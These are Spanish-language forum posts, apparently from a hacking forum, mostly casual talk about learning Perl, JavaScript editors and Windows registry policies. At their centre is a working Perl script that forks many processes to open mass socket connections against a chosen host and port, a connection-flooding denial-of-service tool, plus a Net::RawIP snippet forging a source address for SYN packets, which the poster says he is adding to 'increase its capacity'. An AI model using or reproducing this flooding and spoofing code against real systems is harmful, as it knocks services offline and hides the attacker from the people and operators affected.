Leete la tercera ezine de isirius, ahi también explica un poco acerca de Juganco con cryptcat... muy similar a este tema.

http://insecurity.yethost.com/2007/10/12/28/
http://insecurity.yethost.com/2007/10/07/herramientas-insecurity/

Entonces esto es una carta a papa noel:

Yo también quiero aprender bién a programar en perl... Cada cosa que pueda ir aprendiendo voy a postearlo acá.

estuve en otros foro de perl como http://perlenespanol.baboonsoftware.com/foro/ mientras que alguien se anime junto a mi a aprender y enseñar lo que uno sabe. De todas formas no se ve tan dificil es muy muy similar a C y php.

Podrías crear un bat que te exporte esos registros y con un comando for que te busque la cadena buscada o algo que filtre palabras.

De todas formas prueva tus configuraciones desde
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\

javascript en un lenguaje interpretado no compilado, no necesitas pasarlo por un software para saber si funciona o no, basta con guardarlo y crear un archivo de prueba que integre el script ej *.js o simplemente desde <script>código();</script>.

Para ediciones de javascript puedes utilizar el block de notas o el ultra edit 32 para ordenar un poco eso de las lineas.

Yo antiguamente creaba los html, php y javascript con dev c++ porque tiene un muy amplio soporte con las ediciones de texto, saltos de linea y esas cosas. El ultraedit32 también es bueno porque te muestra los códigos por colores al igual que el editor de textos que viene por defecto en linux.

Ahi va el mio..

Gracias de todas formas pero al hacerlo te creaba una sola conexión y esperaba a que terminara y comenzaba la otra y no era esa la idea.

Pedí ayuda en un foro esclusivo de perl y me han ayudado muchisimo y he aprendido bastante también. El código quedó así:

#!/usr/bin/perl
 
use IO::Socket;
use strict;
use warnings;
 
$|=1;
my ($sitio, $port, $protocolo, $n);
 
unless (@ARGV == 4) { die "uso: $0 [Host] [Puerto] [Protocolo] [Nº Sockets]\nEjemplo : $0 127.0.0.1 22 tcp 1000" } ($sitio, $port, $protocolo, $n) = @ARGV;
 
my @hosts = map { $sitio } 1 .. $n;
print "Iniciando...";
sub doit {
 
my $server = shift;
print ".";
 
my $sock
        =  new IO::Socket::INET(
               PeerAddr => $server,
               PeerPort => $port,
               Proto    => $protocolo,
)or die "$!\n";
 
print $sock "";
}
 
for ( @hosts ) {
next if my $kid = fork;
die "fork: $!" unless defined $kid;
doit $_;
exit;
}
 
1 while wait != -1;
print "\nTerminado.\n";

Ahora estoy intentando darle opciones de spoofing ip para aumentar su capacidad:

  use Net::RawIP;
  $n = Net::RawIP->new;
  $n->set({
            ip  => {
                    saddr => 'google.cl',
                    daddr => '127.0.0.1',
                    },
            tcp => {
                    source => 3254,
                    dest   => 22,
                    psh    => 1,
                    syn    => 1,
                    },
         });
  $n->send;
  $n->ethnew("eth0");
  $n->ethset(source => 'google.cl', dest =>'127.0.0.1');    
  $n->ethsend;
  $p = $n->pcapinit("eth0", "dst port 21", 1500, 30);
  $f = dump_open($p, "/home/yan/log");
  loop($p, 10, \&dump, $f);

Cuando termine el programa lo postearé. Si tienen ideas... bienvenidos sean.

Incluso la gran mayoría de los exploits que puedes encontrar en milw0rm están hechos en perl y para mi es un muy buén lenguaje como para continuar mas adelante con C y ensamblador.

En jugando con netcat hay una parte donde se ve el calculo del comando ping en segundos y en minutos... de todas formas te recomiendo el timeout.exe

...
..........................................................
...
..........................................................
...
..........................................................
...
..........................................................
...

Mad se nota que te estás perdiendo la mitad de tu vida al no saber compilar en C  por eso cambié hace bastante vb por c++ ... el nivel que ofrece vb es muy alto como para crear este tipoo de cosas... lo que necesitas en una compilación de bajo nivel como C o ensamblador tal como lo explicó : ̿̿̿̿̿̿̿̿̿ colaborador.